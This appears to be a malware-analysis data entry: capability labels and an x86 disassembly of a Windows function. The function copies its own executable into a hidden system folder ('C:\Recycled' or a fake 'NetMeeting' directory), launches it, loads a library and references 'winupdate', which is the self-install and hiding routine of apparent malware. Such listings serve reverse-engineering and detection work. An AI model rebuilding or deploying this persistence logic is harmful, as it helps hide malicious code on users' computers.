Function at 0x401040
Capabilities:
Create directory
Create process on windows
Move file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x406118
push 0x401c4c
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x624
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 4], 0
mov dword [ebp - 4], 1
push 0x104
lea eax, [ebp - 0x530]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x530]
push ecx
call fcn.00401000
add esp, 4
test al, al
jne 0x401107
push str.C:Program_Files
lea edx, [ebp - 0x324]
push edx
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
call esi
mov al, byte [ebp - 0x530]
mov byte [ebp - 0x324], al
push 1
lea ecx, [ebp - 0x324]
push ecx
push 0
call fcn.00401770
add esp, 0xc
test al, al
jne 0x4010f3
push 0
lea edx, [ebp - 0x324]
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 6
lea eax, [ebp - 0x324]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push str.NetMeeting
lea ecx, [ebp - 0x324]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
jmp 0x401127
push str.C:Recycled
lea edx, [ebp - 0x324]
push edx
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
call esi
mov al, byte [ebp - 0x530]
mov byte [ebp - 0x324], al
push 0
lea ecx, [ebp - 0x324]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 6
lea edx, [ebp - 0x324]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov byte [ebp - 0x220], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x21f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0
push 0
lea eax, [ebp - 0x220]
push eax
push 0x104
push 0x407064
lea ecx, [ebp - 0x324]
push ecx
call fcn.004014f0
add esp, 0x18
push 9
lea edx, [ebp - 0x220]
push edx
lea eax, [ebp - 0x530]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
test eax, eax
je 0x40135e
mov byte [ebp - 0x42c], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x42b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x328], 0
lea ecx, [ebp - 0x530]
push ecx
call fcn.00401800
add esp, 4
cmp eax, 0xffffffff
je 0x40135e
lea edx, [ebp - 0x530]
push edx
call fcn.00401800
add esp, 4
test eax, eax
jne 0x401205
mov bl, 1
mov byte [ebp - 0x328], bl
lea eax, [ebp - 0x530]
push eax
lea ecx, [ebp - 0x42c]
push ecx
call esi
jmp 0x401232
xor bl, bl
mov byte [ebp - 0x328], bl
lea edx, [ebp - 0x530]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
sub eax, 3
push eax
lea eax, [ebp - 0x530]
push eax
lea ecx, [ebp - 0x42c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
lea edx, [ebp - 0x42c]
push edx
push 0x407060
push str.simple
lea eax, [ebp - 0x220]
push eax
call fcn.004013a0
add esp, 0x10
test al, al
je 0x40135e
test bl, bl
je 0x4012ba
mov edi, dword [ebp + 0x10]
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jle 0x401299
push edi
lea ecx, [ebp - 0x42c]
push ecx
push str._s__s
lea edx, [ebp - 0x634]
push edx
call fcn.00401b00
add esp, 0x10
lea edx, [ebp - 0x634]
push edx
call fcn.004016f0
add esp, 4
jmp 0x4012d4
lea eax, [ebp - 0x42c]
push eax
lea ecx, [ebp - 0x634]
push ecx
call esi
lea edx, [ebp - 0x634]
push edx
call fcn.004016f0
add esp, 4
jmp 0x4012d4
push 5
push 0
push 0
lea eax, [ebp - 0x42c]
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0
push 0
lea ecx, [ebp - 0x11c]
push ecx
push 0x104
push 0x407044
lea edx, [ebp - 0x324]
push edx
call fcn.004014f0
lea eax, [ebp - 0x11c]
push eax
push 0x407044
push str.simple
lea ecx, [ebp - 0x220]
push ecx
call fcn.004013a0
add esp, 0x28
test al, al
je 0x40135e
call fcn.004016a0
lea edx, [ebp - 0x11c]
push edx
call fcn.00401610
add esp, 4
call fcn.004016a0
lea eax, [ebp - 0x11c]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea ecx, [ebp - 0x324]
push ecx
push str.winupdate.
call fcn.00401990
add esp, 8
push 0x3a980
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 4], 0
call fcn.0040136c
jmp 0x401378
mov dword [ebp - 4], 0xffffffff
mov eax, 1
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10